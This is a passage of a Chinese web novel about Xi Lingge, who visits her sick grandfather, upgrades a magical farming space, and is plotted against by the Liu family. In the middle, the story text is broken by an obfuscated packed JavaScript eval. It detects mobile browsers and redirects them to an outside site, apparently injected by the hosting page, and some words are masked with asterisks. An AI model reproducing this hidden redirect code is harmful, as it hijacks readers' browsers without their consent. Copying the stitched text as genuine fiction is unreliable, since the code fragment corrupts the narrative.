他领着席菱歌上前,停留在病榻前。 曲老爷子双眼紧闭,眼下青黑一片。 他吊着厚重的眼袋,没有任何动静,唯有胸口微弱的起伏,能证明还活着。 “菱歌,来看看你外祖父。” 席菱歌离得近,能清楚地看见这个昏迷不醒的老人脸上布满褶皱的皮肤,口鼻处呼吸低浅。 老人像是做了噩梦一般,身体小幅度抖动,随后抽搐起来,口中喃喃。 “婷儿……你来接爹爹了吗?” 曲彰显一惊,连忙按住曲老爷子的双手。 眼见着没有效果,他死死掐着曲老爷子的人中,企图把人救起来。 曲老爷子被这么一掐,痛呼一声,惊得张开了眼。 他第一眼看到的先是曲彰显,旋即出声骂道: “我说是谁,原来是你这不干人事的混小子,哪有这么动手掐亲爹的,下手没个轻重。” 曲彰显挨了骂,一点不见恼怒,甚至松了口气。 他声音带着笑,“爹,你瞧谁来了!” 他退后几步,让出位置,露出席菱歌的身影。 那双精致美丽的脸展露在曲老爷子面前。 曲老爷子呆了几个呼吸的时间,声音颤抖着,像是见到了魂牵梦绕的人儿。 “婷儿……真的是你……” “爹的心肝,你真的来接爹了……” 曲老爷子声音哽咽,那双浑浊的双眼转动,带着泪意,双眼朦胧地望着席菱歌。 席菱歌冷静喊道:“外祖父。” 曲老爷子这才回过神来,不自觉直起的身子又重新倒回去。 他心口存着一口郁气,深深吐出来,目光带着深厚的怀念。 “原来是菱歌啊……” 稚嫩的脸像极了记忆中的小人儿。 那是他一手带大的女儿,捧在手心的掌上明珠。 却硬生生被席翰这个白眼狼蹉跎**! 曲老爷子猛咳几声,想起最近发生的事情,不由得悲从心来。 再加上席翰带着柳家的人前来耀武扬威,一时间怒急攻心,竟晕了过去。 现在醒过来,他第一件事便是询问曲彰显。 “我昏迷几日了?” “陛下那边有什么新指令?” 曲彰显久久沉默,不知道如何回答。 几日早朝时间。 左丞相的位置空悬。 满朝文武却无一人提及,就连老皇帝都默认了没有此人一般。 自从老爷子犯了老皇帝的忌讳起,朝中官员就开始排挤曲家。 直至今日,曲家遭遇了巨大的变化。 “陛下无任何指令,只让人传信说,让你安心养伤,什么时候养好伤,什么时候再回朝廷。” 这句话的潜台词显而易见。 曲彰显握紧了拳头,不知从何提起。 说陛下已经放弃了他们曲家,还是说陛下视曲家为眼中钉,见不得功高震主。 可老爷子只是提了一嘴关于永安王府的事,就被忌惮至今。 陛下为何如此惧怕。 曲彰显想不明白。 曲老爷子却知晓得清清楚楚。 他不再询问此事,把这件事埋藏在心中。 曲老爷子看向席菱歌,目光慈祥,柔声道:“菱歌,快些过来,让外祖父好好看看你。” 席菱歌上前几步。 眼前这名老人如记忆中般慈祥温和。 无论是以前,还是现在,他对待原身的态度视若亲生儿女般,十分护犊子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373828|179037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁敢招惹席菱歌,就会招到曲家的仇视。 这也是席菱歌在京城仇家遍地,都无一人敢招惹的原因,就连尚雅雅这个死对头,顶天也只是拌拌嘴。 “瘦了,黑了,没以前白白嫩嫩的富贵样。” 曲老爷子眸中噙着一丝心疼,一口笃定道:“肯定是在席府吃不好穿不暖,被硬生生蹉跎成这样。” 一旁围观的曲辰欲言又止。 老爷子这也太过了。 上一次见到表妹还是几年前,那时人似年画娃娃般白白嫩嫩,招人喜爱。 现在稚嫩的容貌长开,肯定不像以往。 倒是显出几分绝色容颜,让人见之惊艳,念念不忘。 不过,他想起席翰来时高傲的姿态,心头升起一阵不喜来。 被蹉跎倒是真的。 像席翰这般落井下石的人,娶了续弦,指不定对前妻生下的女儿不当人看。 毕竟,哪有**为活人讨回公道。 念此,曲辰望着席菱歌怯生生的小脸蛋,无故引起怜爱之意。 他手指攥紧几分。 表妹么。 自然是要好好呵护在怀中的。 旁人也配欺负曲家罩着的人? 直到曲老爷子猛咳起来,在掌心咳出一团血。 众**惊。 曲老爷子摆了摆手,朝着曲彰显招了招手,等人上前,附耳说了几句。 曲彰显似是明白什么,点了点头,出去了半炷香时间,随后捧着两只手掌大小的木盒进来。 美貌妇人面露惊愕之色,嘴唇蠕动一番,最终没有说话。 直到把木盒放在席菱歌怀中。 曲老爷子方才脸上带笑,“菱歌,这点东西不多,就好好收下。” “你好不容易回来一次,还带了百年人参救外祖父,这份心意外祖父心领了。” 席菱歌没有打开木盒,没想到这种时刻,前去探望会得到礼物。 她不由得流露出一分真情实感来。 兴许是前世并未接触到亲人真挚的关怀。 席菱歌竟然有几分热泪蔓延上来。 她下意识眨了眨眼,把眼泪逼回去,语气真挚道:“多谢外祖父。” 直到席菱歌从曲府离开,她怀中多了一瓶玉容膏,两只手掌都几乎捧不下的沉甸甸木盒。 美貌妇人送来的金银首饰,和两名表哥扭扭捏捏送出的银票。 第27章开启药田,升级2级农田 回到席府,席翰等人仍然没有回来。 空荡荡的府中空无一人,像一座鬼宅。 席菱歌想起柳怀赢说的话,府中整个下人休沐一日,想必今晚就会回到席府复工。 柳怀赢还在药堂躺着。 她出手不重。 在离开前,药堂大夫说得休养一个月时间。 席菱歌想了又想,亲自把柳怀赢接了回来。 她一边扛着人,一边亲亲热热唤着弟弟,把柳怀赢吓得够呛。 他半截身子被扛在席菱歌肩膀,另外半截身子弯了下来,呈现L形。 柳怀赢甚至不敢叫痛,他一脸惊恐地望着席菱歌,生怕再被一脚踹飞,断了二十根肋骨。 等到了席府,席菱歌见四处无人,这才威胁道:“你敢把事情说出来,我不介意打断你的三条腿。” 柳怀赢感觉下身一凉,不由得捂紧双腿之间。 他不想失去第三条腿! 实在是太凶残了。 以往听说席菱歌在外嚣张跋扈,没想到竟跋扈至此。 在得到肯定的回答后,席菱歌直接把人随手一甩,径直回到自己的房间。 她得回去清点自己的资产。 这些都是娘亲留给她的财产,现在终于拿到手中。 在下人们回到席府之前,她得好好思索一番下一步该怎么办。 反正席菱歌打定了主意,等打开玉石市场后,她就撕毁婚约下乡,回到陵水当个小地主。 种种田,洒洒水,日子过得优哉游哉,美滋滋。 远离世俗纷扰,一脚踹开渣爹后娘和白莲花继妹。 回到冷清小院,席菱歌先是查看了外祖父一家送的东西。 木盒里装了三张价值百两的银票,随后是一家铺子的地契。 再加上两位表兄送的两张百两银票,总共加起来五百两。 席菱歌刚花完五百两,口袋空空,这下又富有起来。 她把这些银票揣好,随后握着龙纹玉佩,进了空间。 席菱歌先是做了每日重复做的事,一键收割、一键播种、一键加工。 随后进了仓库清点自己的资产。 一大堆古董书画、名人名作被她分类摆放在一旁。 珍稀翡翠、夜明珠、玉如意等贵重东西放在另一边。 像金银这种东西,她挨个挨个打开宝箱清点,单独放在一侧。 金灿灿的金条子差点照亮了整个仓库。 面板适当地跳了出来。 【袁氏亭苑叙字帖(紫)】 【品质:优质】 【出售价格:50金币】 【王氏美人出浴图(紫)】 【品质:优质】 【出售价格:50金币】 【玉如意(蓝)】 【品质:良好】 【出售价格:10金币】 【检测到纯度为百分百的金条,重量共一千斤】 【出售价格:10000金币】 【是否出售?】 席菱歌看着面板,眼睛都红了。 这就是一夜暴富的滋味。 忍住! 一定要忍住! 暂时不售卖,金条有用。 等回到陵水,一切都需要打点。 席菱歌强忍住冲动,抖着手打开个人面板。 她在个人面板查看了自己所拥有的金币数。 【目前拥有金币:44】 【累计金币:76】 【距离下一个里程碑进度:76%】 里程碑抵达50金币时,空间奖励的是灵泉。 灵泉功能繁多,不仅能增强体质,还能另做它用。 仅仅是吃了灵泉做的饭,她就变得力大无穷起来。 幸好她有空间,不然面临危机,毫无还手之力。 若是让柳怀赢的奸计得逞。 她坠入的就是另一个深渊。 席菱歌记仇,暗戳戳把柳怀赢、柳依依等人上了黑名单,用小本本记起来。 等着瞧,她绝对不会坐以待毙。 在下乡回到陵水之前,她一定要渣爹继娘好看。 席菱歌翻了翻仓库的资产,出售了品质紫色的书画和字帖,以及孤零零的蓝色品质的玉如意,共计售卖了110个金币。 面板恰到好处地弹了出来。 【目前拥有金币:154】 【累计金币:186】 【恭喜宿主达到100金币里程碑成就,开启药田功能。】 【成功开放药物种植、药炉板块。】 【注意事项:灵泉配合药材,能够治疗疾病,灵泉灌溉农田,能给予种植作物同样的灵泉功效。】 【下一个里程碑成就达成目标:500金币。】 【随机解锁设计图纸。】 席菱歌揉了揉眼,差点以为看错了。 设计图纸? 这是什么东西? 未知的东西能吸引百分之八九十的注意力。 席菱歌也不例外,但她是个俗人。 席菱歌打定主意。 下乡到陵水的第一件事就是优哉游哉过自己的日子,当个人畜无害的小富婆。 至于婚约什么的,全都见鬼去吧! 想通后,席菱歌握着镰刀,开始了解药田板块。 药田板块开启后,空间又往外延长一段距离。 空出来的大块药田呈现田字形状,和农田相差无几正正方方的三十六块方格药田。 【一级药田:36块】 【产量:1个/次】 【目前可选择种植:茯苓、白术等药草】 【茯苓生长时长:1个小时】 【白术生长时长:1个小时】 席菱歌点击一键播种,面板又跳了出来。 【药草生长用灵泉灌溉,会结合一部分灵泉功效,是否开启自动注入灌溉灵泉的功能?】 还用想吗? 席菱歌直接点击同意。 【成功开启一键灌溉功能,共计花费10金币】 不仅如此,她在农田也设置了自动灌溉灵泉。 席菱歌看了眼口袋富足的金币,直接砸金币开启剩余的一键功能。 【成功开启一键琢玉功能,共计花费10金币】 【成功开启一键储存功能,共计花费10金币】 【已察觉拥有足够多的金币,是否前往升级农田?】 席菱歌想起农田的前缀。 看来拥有足够多的金币,空间会自动提及升级的事。 席菱歌瞅了眼农田所显示的面板。 【升级一块2级农田所需金币:10】 这么说来1级农田升级到2级农田所需总共金币是360金币。 席菱歌看了看自己的金币数量,除却刚刚开启一键功能的30金币,还剩下124金币。 她选择升级12个1级农田。 在升级之后,农田四周升腾起一股如梦似幻的白烟,牢牢把农田围住。 关于农田播种的面板变成深黑色,像是被锁住了一般。 无论席菱歌再怎么操作,都无动于衷,只呈现三个大字,升级中。 第28章曲家?没有存在的必要 白烟之中传来叮叮咚咚的响声。 没过几分钟。 浓厚的白烟散去,眼前是焕然一新的农田。 似乎和以往没什么区别。 席菱歌蹲下细看,捏了一把泥土,才发现升级之后,红土变成了更肥沃的黑土。 农田面板由1级升级到了2级。 【二级农田:12块】 【产量:2个/次】 【目前可选择种植:小麦、大豆、甘蔗、水稻。】 【小麦生长时长:5分钟】 【大豆生长时长:10分钟】 【甘蔗生长时长:20分钟】 【水稻生长时长:30分钟】 甘蔗可以用来制糖。 水稻是大米,当主食吃。 只要有这两样,不缺糖分摄入,不再挨饿。 席菱歌12块二级农田全点加工甘蔗。 剩下的一级农田生产小麦,加工成面粉。 面粉和水稻生成的大米都是主食。 在一键灌溉完灵泉后,席菱歌出了空间。 天色已黑,夜幕降临。 皎洁的月高高挂起,月光下的小院漆黑一片。 席菱歌点了一盏油灯,护着掌心微弱的灯光。 恰逢此时此夜,推门而入的声音响起,青柳提着食盒进来。 “小姐,该晚食了。” 席菱歌眯了眯眼,望过去。 青柳的背后是席府庭院,灯火通明,下人们三两成群路过,时不时传来嬉闹声。 这一切与她无关。 席菱歌收回目光,接过食盒,吃了起来。 下人们已经休沐回府。 她不信柳怀赢是个能把住嘴的人。 就是不知,渣爹后娘何时会发现这件事。 不过发现了又如何。 这本来就是娘亲为她留下的嫁妆。 …… 另一边。 河东柳府。 河东离京城不远,短短半天的路程。 席翰一行人乘坐马车抵达柳府。 柳玉莎一回到柳府,整个人昂首挺胸,气色好了许多。 她一路直奔厅堂,行走间端着主母的架子,好不气派。 就连她身后的席翰都默不作声,更别提因为百花宴的事生气。 厅堂主位坐着两人,正悠悠品茗茶水。 一位是柳家当家家主柳举宗,另一位则是柳玉莎的大哥,下一任柳家家主柳权。 柳权抿一口茶水,面带笑意,心中止不住的得意。 “爹,你瞧,陛下果真听从了我的建议,这下把左丞相拉下马,这位置即将空出来。” “我们柳家欣欣向上,是陛下亲手提起来的心腹,再加上有右丞相的举荐。” “左丞相的位置非爹爹莫属。” 柳举宗摸了摸胡须,呵斥一声:“休得胡说,陛下的心思岂能是我们能够揣测的?” “陛下年事已高,近来身体不好,尚且未立太子。” “左丞相是犯了陛下的忌讳,他敢在朝廷上公然提及此事,惹了陛下发怒,这才勒令在家休养。” 柳权一笑,并不在意柳举宗这番话。 受到了陛下的厌弃,曲家已经衰落。 废除左丞相是早晚的事。 只要他们柳家深得圣心,就不怕站不上这个位置。 再加上…… 柳权收敛心思,看向眼前的一行人。 “爹爹,大哥,我带着席郎、依依回家了。” 柳玉莎行了行礼,站在席翰一侧,挽着他的胳膊,一脸娇羞。 得此情郎,人生何求。 哪怕经历百花宴一遭,席郎都未曾呵斥过她和依依。 再说了,是她未曾想到,席菱歌这小贱蹄子居然开了窍,长了心眼,打了她个措手不及,这才坏了事。 不过,等怀赢那边的事情结束。 一旦席菱歌成亲前失了身,必定身败名裂。 永安王府哪怕不顾及曲家的脸面,也得撕了这场婚约。 世子再喜欢又如何。 世道如此,怎能让一个失了身的荡妇嫁入王府。 这场婚约注定是她家依依的! 柳玉莎一想此,止不住的欢喜。 柳举宗抚了抚茶盖,开口询问:“永安王府的事办的如何?” “爹,还在办呢,你放心,过不了多久,依依就是永安王府内定的王妃。” 柳玉莎一口笃定,语气十分自信,没有半分心虚。 而柳依依在两人身后,额头缠绕白纱,露出那张楚楚可怜的脸。 迎着柳举宗狐疑的眼神,她轻咬贝齿,怯生生地道:“祖父,依依不会让你失望的。” “你的脸怎么回事?”柳举宗皱了皱眉。 柳依依可是近些年来,柳家姿容身段皆为上乘的凤凰儿。 现如今完美无瑕的脸居然有了一些瑕疵,像是一件精美的瓷器裂开一般,失了一分美观。 席翰身子一僵,不知作何解释。 他紧紧捏着手,踌躇万分。 他未来的官途还得依靠柳家,若是实话实说,岂不是失了柳家的信任? 再者,一边是永安王府无法得罪,一边是近年来深得老皇帝信任的柳家。 席家家业远在陵水,又给不了助力。 正恰此时,柳依依开口解释: “祖父,前日永安王府举办的百花宴,有无数官员派女眷投奔永安王府,传达意思,想栖息在永安王府这颗大树下生存,受其荫庇。” “我一时不察,在一些小事上得罪了世子,额头的伤是受了罚磕的。” 说罢,她指腹停留在额角的纱布上,轻轻掀开,露出狰狞的伤疤。 全然没有提及是席翰按着她磕头之事。 席翰悄悄松了口气,心下对柳依依多了几分愧疚。 原想着席府的名声毁了,升起的一股不喜全然被愧疚压了下去。 确实是他做的太过分了。 依依是个好孩子啊。 当初全然是席菱歌那个逆女,竟会挑事! 柳举宗微微抬眸,目光游曳过去,只此一眼,他喝茶的手指一顿,一言不发。 柳权哪里不知会老父亲的心思,顿时猛烈拍了身侧的桌子,勃然大怒道: “永安王府世子欺人太甚,是欺我柳家背后无人吗?” “事情如何,你一五一十说来,如今我柳家在陛下面前也算说的上话,不必如此缩着头做人。” “祖父,事情是这样的。” 柳依依闻言眸光一闪,把事情娓娓道来。 只是话语中,多了几分偏颇,把席菱歌批判得一无是处,纯属小人行径,见不得席府好。 “若不是她身后站着曲家,就连世子都为她撑腰,我和娘亲本不会受辱,却不料周围人都是见人下菜碟,见我柳家……” 柳依依垂眸,不再提及。 柳举宗终于开口。 “曲家?” “没有存在的必要了。”